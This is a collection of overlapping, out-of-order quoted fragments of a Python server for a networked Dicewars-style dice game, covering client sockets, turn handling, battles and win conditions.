"def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players at the start of the game",
"connect clients Parameters ---------- players : int Number of players addr : str",
"self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1) % self.number_of_players] while True: try: if self.players[idx].get_number_of_areas()",
"'dice': def_dice, 'owner': def_name, 'pwr': def_pwr } return battle def end_turn(self): \"\"\"Handles end",
"for area in self.current_player.get_areas(): areas.append(area) while dice and areas: area = random.choice(areas) if",
"player = self.current_player dice = player.get_reserve() + player.get_largest_region(self.board) if dice > 64: dice",
"{}\".format(self.current_player.get_name())) except IndexError: exit(1) return def eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles)",
"message type : str Type of message battle : dict Result of a",
"area to a new owner Parameters ---------- area : Area Area to be",
"Decoded message from the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got",
"1, 'owner': atk_name, 'pwr': def_pwr } else: battle['def'] = { 'name': defender.get_name(), 'dice':",
"i in self.players } elif type == 'game_end': msg = { 'type': 'game_end',",
"of a battle winner : int Winner of the game areas : list",
"1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except OSError as e: self.logger.error(\"Cannot",
"msg['type'] = 'game_start' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board']",
"in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for player_name, player in self.players.items()} assert(len(nicknames_order) ==",
"None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in self.players.values(): self.send_message(player, 'game_start') self.summary",
"unassigned client \"\"\" for player in self.players: if not self.players[player].has_client(): return self.players[player] return",
"json.decoder import JSONDecodeError import logging import random import socket import sys from .player",
"= 0 atk_name = attacker.get_owner_name() def_name = defender.get_owner_name() for i in range(0, atk_dice):",
"assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players at the start of the game \"\"\"",
"self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING # ############## def get_message(self, player): \"\"\"Read",
"def_pwr = 0 atk_name = attacker.get_owner_name() def_name = defender.get_owner_name() for i in range(0,",
"self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] =",
"to client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass ##############",
"self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p",
"{ 'owner': area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas def set_first_player(self): \"\"\"Set first player",
"self.initialize_players() self.connect_clients() if nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for",
"self.logger.error(\"Connection to client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass",
"carry out the action \"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player =",
"== 'battle': msg = self.get_state() msg['type'] = 'battle' msg['result'] = battle elif type",
"= self.get_message(i) if hello_msg['type'] != 'client_desc': raise ValueError(\"Client send a wrong-type hello message",
"str Decoded message from the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode())",
"e: self.logger.error(\"Connection to client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError:",
"of each area, as well as score of each player \"\"\" game_state =",
"def check_win_condition(self): \"\"\"Check win conditions Returns ------- bool True if a player has",
"self.current_player dice = player.get_reserve() + player.get_largest_region(self.board) if dice > 64: dice = 64",
"an unassigned player \"\"\" player = self.get_unassigned_player() if player: player.assign_client(socket, client_address) return player",
"= self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] = self.players_order elif type == 'game_state': msg",
"a battle Returns ------- dict Dictionary with the result of the battle including",
"msg type '{}' to client {}\".format(type, client.get_name())) if type == 'game_start': msg =",
"client's socket to an instance of Player Parameters ---------- connection : socket Client's",
"self.number_of_players + 1): player = self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as e:",
"list of int Areas changed during the turn \"\"\" self.logger.debug(\"Sending msg type '{}'",
"{}\".format(client_address)) else: return player def assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket to an",
"################## # INITIALIZATION # ################## def initialize_players(self): self.players = {} for i in",
"type == 'end_turn': msg = self.get_state() msg['type'] = 'end_turn' msg['areas'] = areas msg['current_player']",
"try: if self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx + 1) % self.number_of_players idx",
"- 1, 'owner': atk_name, 'pwr': def_pwr } else: battle['def'] = { 'name': defender.get_name(),",
"elif type == 'game_state': msg = self.get_state() msg['type'] = 'game_state' msg['player'] = client.get_name()",
"self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive -= 1 def check_win_condition(self):",
"player = self.current_player.get_name() msg = self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0",
"self.logger = logging.getLogger('SERVER') self.address = addr self.port = port self.number_of_players = players self.nb_players_alive",
"self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p in self.players: self.send_message(self.players[p], 'battle', battle=battle)",
"wins!\".format(player_nick, player_name)) for i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING #",
"save_game_configurations( winner_index=i, configurations=configurations, ) break break serialised_game = serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game)",
"area = random.choice(areas) if not area.add_die(): areas.remove(area) else: if area not in affected_areas:",
"= { 'owner': area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas def set_first_player(self): \"\"\"Set first",
"= Player(i) self.players_order = list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order))",
"Area to be assigned new owner to player : Player New owner \"\"\"",
"as e: self.logger.error(\"Connection to client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except",
"'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p",
"self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return def eliminate_player(self, player): nickname =",
"type: {}\".format(player, msg['type'])) return msg def send_message(self, client, type, battle=None, winner=None, areas=None): \"\"\"Send",
"the client was assigned to \"\"\" self.client_sockets[i] = connection player = self.assign_player_to_client(connection, client_address)",
"client to an instance of Player \"\"\" sock, client_address = self.socket.accept() self.add_client(sock, client_address,",
"while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in",
"dice > 64: dice = 64 areas = [] for area in self.current_player.get_areas():",
": int Number of players \"\"\" self.buffer = 65535 self.logger = logging.getLogger('SERVER') self.address",
"assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = [] for nick in nicknames_order:",
"battle['def'] = { 'name': defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr': def_pwr } return",
"self.current_player.get_name() msg = self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0 battle =",
"'battle', battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn() for",
"player.get_name()) return True return False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({})",
"player = self.get_unassigned_player() if player: player.assign_client(socket, client_address) return player else: return False def",
"self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return def eliminate_player(self, player):",
"server port : int Port number Attributes ---------- buffer : int Size of",
"players addr : str IP address of the server port : int Port",
"atk_dice): atk_pwr += random.randint(1, 6) for i in range(0, def_dice): def_pwr += random.randint(1,",
"= self.number_of_players msg['current_player'] = self.current_player.get_name() elif type == 'battle': msg = self.get_state() msg['type']",
"self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name, player",
"\"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket",
"self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in self.players.items(): if",
"for area_name, player_name in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order):",
"areas including number of dice in these areas \"\"\" affected_areas = [] player",
"over over 100k games class Game: \"\"\"Instance of the game \"\"\" def __init__(self,",
"self.address = addr self.port = port self.number_of_players = players self.nb_players_alive = players self.nb_consecutive_end_of_turns",
"passing has been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name())",
"'game_end', winner=player_name) ############## # NETWORKING # ############## def get_message(self, player): \"\"\"Read message from",
"self.get_state() msg['type'] = 'end_turn' msg['areas'] = areas msg['current_player'] = self.current_player.get_name() msg['reserves'] = {",
"handle_player_turn(self): \"\"\"Handle clients message and carry out the action \"\"\" self.logger.debug(\"Handling player {}",
"an instance of Player \"\"\" sock, client_address = self.socket.accept() self.add_client(sock, client_address, i) def",
"dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations = set() try: for i in range(1, self.number_of_players",
"and adjacent areas of each area, as well as score of each player",
"'pwr': atk_pwr } } attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if",
"= {} for area in affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice': area.get_dice()",
"self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass ############## # GAME LOGIC # ############## def",
"a battle winner : int Winner of the game areas : list of",
"True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in self.players.items():",
"for i in range(0, atk_dice): atk_pwr += random.randint(1, 6) for i in range(0,",
"won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because",
"for player in self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary() def run(self): \"\"\"Main loop",
"create socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets = {}",
"old_name, player in self.players.items()} self.players = {renumbering[old_name]: player for old_name, player in self.players.items()}",
"configurations = set() try: for i in range(1, self.number_of_players + 1): player =",
"player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next player in order as a current",
"type == 'game_start': msg = self.get_state() msg['type'] = 'game_start' msg['player'] = client.get_name() msg['no_players']",
"self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for",
"game_state = { 'areas': {} } for a in self.board.areas: area = self.board.areas[a]",
"[] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player order: {}'.format([(name, self.players[name].nickname)",
"clients message and carry out the action \"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(),",
"# obsevered maximum of 5671 over over 100k games class Game: \"\"\"Instance of",
"i) def add_client(self, connection, client_address, i): \"\"\"Add client's socket to an instance of",
": str Type of message battle : dict Result of a battle winner",
"def get_state(self): \"\"\"Get game state Returns ------- dict Dictionary containing owner, dice and",
"send_message(self, client, type, battle=None, winner=None, areas=None): \"\"\"Send message to a client Parameters ----------",
"in range(0, atk_dice): atk_pwr += random.randint(1, 6) for i in range(0, def_dice): def_pwr",
"\"\"\" game_state = { 'areas': {} } for a in self.board.areas: area =",
"Parameters ---------- client : Player Recepient of the message type : str Type",
"import json from json.decoder import JSONDecodeError import logging import random import socket import",
"atk_name, 'pwr': def_pwr } else: battle['def'] = { 'name': defender.get_name(), 'dice': def_dice, 'owner':",
"of the server port : int Port number Attributes ---------- buffer : int",
"nickname)) self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check win conditions Returns ------- bool True",
"(str, int) Client's address and port number i : int Player's name Returns",
"range(1, self.number_of_players + 1): self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type'] != 'client_desc': raise",
"affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas = {} for area in affected_areas:",
"self.logger.debug(\"Closing server socket\") self.socket.close() ################## # INITIALIZATION # ################## def initialize_players(self): self.players =",
"= self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1) % self.number_of_players] while",
"Returns ------- dict Dictionary with the result of the battle including information about",
"def __init__(self, board, area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize game and connect clients",
"players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in range(1, self.number_of_players +",
"= self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def']))",
"nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in self.players.values():",
"battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name())",
"add_client(self, connection, client_address, i): \"\"\"Add client's socket to an instance of Player Parameters",
"of the game \"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations = set() try:",
"5671 over over 100k games class Game: \"\"\"Instance of the game \"\"\" def",
"conditions Returns ------- bool True if a player has won, False otherwise \"\"\"",
"== 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn() for p in self.players: self.send_message(self.players[p],",
"first player \"\"\" for player in self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player =",
"} return battle def end_turn(self): \"\"\"Handles end turn command Returns ------- dict Dictionary",
"hello_msg['type'] != 'client_desc': raise ValueError(\"Client send a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully",
"= 0 self.create_socket() self.board = board self.initialize_players() self.connect_clients() if nicknames_order is not None:",
"client_address, i) def add_client(self, connection, client_address, i): \"\"\"Add client's socket to an instance",
"Number of players \"\"\" self.buffer = 65535 self.logger = logging.getLogger('SERVER') self.address = addr",
"= {} for p in self.players: player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return",
"msg = self.get_state() msg['type'] = 'game_start' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player']",
"socket at {}:{}\".format(self.address, self.port)) except OSError as e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1)",
"containing owner, dice and adjacent areas of each area, as well as score",
"int Player's name Returns ------- Player Instance of Player that the client was",
"self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary() def",
"p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for p in self.players: player",
"import sys from .player import Player from .summary import GameSummary MAX_PASS_ROUNDS = 8",
"------- dict Dictionary with the result of the battle including information about rolled",
"= logging.getLogger('SERVER') self.address = addr self.port = port self.number_of_players = players self.nb_players_alive =",
"of 5671 over over 100k games class Game: \"\"\"Instance of the game \"\"\"",
"= set() try: for i in range(1, self.number_of_players + 1): player = self.players[i]",
"= self.get_unassigned_player() if player: player.assign_client(socket, client_address) return player else: return False def get_unassigned_player(self):",
"game and connect clients Parameters ---------- players : int Number of players addr",
"> 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for p in self.players: player =",
"because the limit of {} rounds of passing has been reached\".format(MAX_PASS_ROUNDS)) for p",
"create_socket(self): \"\"\"Initiate server socket \"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)",
"self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()}",
"// self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit of {} rounds of",
"socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players)",
"the action \"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg",
"an instance of Player Parameters ---------- connection : socket Client's socket client_addres :",
": Area Area to be assigned new owner to player : Player New",
"not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in self.players.values(): self.send_message(player, 'game_start')",
"{ 'type': 'game_end', 'winner': winner } elif type == 'close_socket': msg = {'type':",
"area not in affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas = {}",
"} elif type == 'close_socket': msg = {'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg",
"initialized\") for player in self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary() def run(self): \"\"\"Main",
"try: for i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'game_state')",
"limit of {} rounds of passing has been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values():",
"and port number i : int Player's name Returns ------- Player Instance of",
"action \"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg =",
"self.assign_player_to_client(connection, client_address) if not player: raise Exception(\"Could not assign player to client {}\".format(client_address))",
"client's socket to an unassigned player \"\"\" player = self.get_unassigned_player() if player: player.assign_client(socket,",
"for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True",
"number_of_players : int Number of players \"\"\" self.buffer = 65535 self.logger = logging.getLogger('SERVER')",
"in self.players: player = self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True",
"battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn() for p",
"current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1) % self.number_of_players] while True: try:",
"winner=None, areas=None): \"\"\"Send message to a client Parameters ---------- client : Player Recepient",
"'game_end', 'winner': winner } elif type == 'close_socket': msg = {'type': 'close_socket'} msg",
"type == 'close_socket': msg = {'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg + '\\0')",
"list_of_areas = {} for area in affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice':",
"\"\"\"Handle clients message and carry out the action \"\"\" self.logger.debug(\"Handling player {} ({})",
"############## # GAME LOGIC # ############## def assign_area(self, area, player): \"\"\"Assign area to",
"i in range(0, atk_dice): atk_pwr += random.randint(1, 6) for i in range(0, def_dice):",
"Dictionary containing owner, dice and adjacent areas of each area, as well as",
"int Number of players \"\"\" self.buffer = 65535 self.logger = logging.getLogger('SERVER') self.address =",
"from json.decoder import JSONDecodeError import logging import random import socket import sys from",
"of socket buffer number_of_players : int Number of players \"\"\" self.buffer = 65535",
"elif type == 'close_socket': msg = {'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg +",
"range(0, def_dice): def_pwr += random.randint(1, 6) battle = { 'atk': { 'name': attacker.get_name(),",
"= self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score']",
"== 'close_socket': msg = {'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg + '\\0') def",
"numbers, dice left after the battle, and possible new ownership of the areas",
"each player \"\"\" game_state = { 'areas': {} } for a in self.board.areas:",
"self.logger.debug(\"Waiting for clients to connect\") for i in range(1, self.number_of_players + 1): self.connect_client(i)",
"self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address,",
"self.socket.close() ################## # INITIALIZATION # ################## def initialize_players(self): self.players = {} for i",
"i, p in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break",
"\"\"\"Get a player with unassigned client \"\"\" for player in self.players: if not",
"the game \"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations = set() try: for",
"= self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {}; type: {}\".format(player, msg['type']))",
"msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() elif type == 'battle':",
"'game_start' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board()",
"!= 'client_desc': raise ValueError(\"Client send a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned",
"{} ({})\".format(player, nickname)) self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check win conditions Returns -------",
"self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return False def process_win(self,",
"} } attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() ==",
"a player has won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS:",
"= json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {}; type: {}\".format(player, msg['type'])) return msg def",
"def_pwr } return battle def end_turn(self): \"\"\"Handles end turn command Returns ------- dict",
"msg = json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate server socket \"\"\" try:",
"self.players_order = list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self,",
"to players at the start of the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for",
"raise ValueError(\"Client send a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to",
"return False def get_unassigned_player(self): \"\"\"Get a player with unassigned client \"\"\" for player",
"game state Returns ------- dict Dictionary containing owner, dice and adjacent areas of",
"= [] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player order: {}'.format([(name,",
"random.randint(1, 6) for i in range(0, def_dice): def_pwr += random.randint(1, 6) battle =",
"} return list_of_areas def set_first_player(self): \"\"\"Set first player \"\"\" for player in self.players:",
"'areas': {} } for a in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] = {",
"area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] = {} for p in self.players:",
"that the client was assigned to \"\"\" self.client_sockets[i] = connection player = self.assign_player_to_client(connection,",
"1): self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type'] != 'client_desc': raise ValueError(\"Client send a",
"[] for area in self.current_player.get_areas(): areas.append(area) while dice and areas: area = random.choice(areas)",
"for player in self.players: if not self.players[player].has_client(): return self.players[player] return False def close_connections(self):",
"i : int Player's name Returns ------- Player Instance of Player that the",
"in range(1, self.number_of_players + 1): self.players[i] = Player(i) self.players_order = list(range(1, self.number_of_players +",
"= list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership):",
"int) Client's address and port number i : int Player's name Returns -------",
"out a battle Returns ------- dict Dictionary with the result of the battle",
"self.number_of_players + 1): player = self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name()))",
"msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn() for p in self.players:",
"configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in range(1, self.number_of_players + 1): player",
"type : str Type of message battle : dict Result of a battle",
"= 'end_turn' msg['areas'] = areas msg['current_player'] = self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve()",
"return def eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player,",
"self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if self.nb_battles ==",
"KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in range(1, self.number_of_players + 1): player = self.players[i]",
"10000 # obsevered maximum of 5671 over over 100k games class Game: \"\"\"Instance",
"\"\"\" self.client_sockets[i] = connection player = self.assign_player_to_client(connection, client_address) if not player: raise Exception(\"Could",
"Number of players addr : str IP address of the server port :",
"msg['current_player'] = self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve() for i in self.players }",
"socket to an instance of Player Parameters ---------- connection : socket Client's socket",
"{} } for a in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas':",
"{} ({}) wins!\".format(player_nick, player_name)) for i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## #",
"= {} for i in range(1, self.number_of_players + 1): self.players[i] = Player(i) self.players_order",
"socket client_addres : (str, int) Client's address and port number i : int",
"{renumbering[old_name]: socket for old_name, socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for player_name,",
"Parameters ---------- player : int Name of the client Returns ------- str Decoded",
"port, nicknames_order): \"\"\"Initialize game and connect clients Parameters ---------- players : int Number",
"assign_area(self, area, player): \"\"\"Assign area to a new owner Parameters ---------- area :",
"64: dice = 64 areas = [] for area in self.current_player.get_areas(): areas.append(area) while",
"list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns",
"'close_socket') except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to client failed: {0}\".format(e)) except ConnectionResetError:",
"the battle including information about rolled numbers, dice left after the battle, and",
"= { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] = {} for",
"'owner': area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas def set_first_player(self): \"\"\"Set first player \"\"\"",
"not in affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas = {} for",
"############## # NETWORKING # ############## def get_message(self, player): \"\"\"Read message from client Parameters",
"in range(0, def_dice): def_pwr += random.randint(1, 6) battle = { 'atk': { 'name':",
"import JSONDecodeError import logging import random import socket import sys from .player import",
"'atk': { 'name': attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr': atk_pwr } } attacker.set_dice(1)",
"self.port)) except OSError as e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect",
"self.players[player].has_client(): return self.players[player] return False def close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server",
"############## def assign_area(self, area, player): \"\"\"Assign area to a new owner Parameters ----------",
"------- str Decoded message from the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg =",
"def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for i in",
"of the battle including information about rolled numbers, dice left after the battle,",
"= { 'name': defender.get_name(), 'dice': atk_dice - 1, 'owner': atk_name, 'pwr': def_pwr }",
"def run(self): \"\"\"Main loop of the game \"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations",
"message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all players\") def connect_client(self, i): \"\"\"Assign",
"= GameSummary() def run(self): \"\"\"Main loop of the game \"\"\" from dicewars.ml.game import",
"not self.players[player].has_client(): return self.players[player] return False def close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing",
"name self.client_sockets = {renumbering[old_name]: socket for old_name, socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname:",
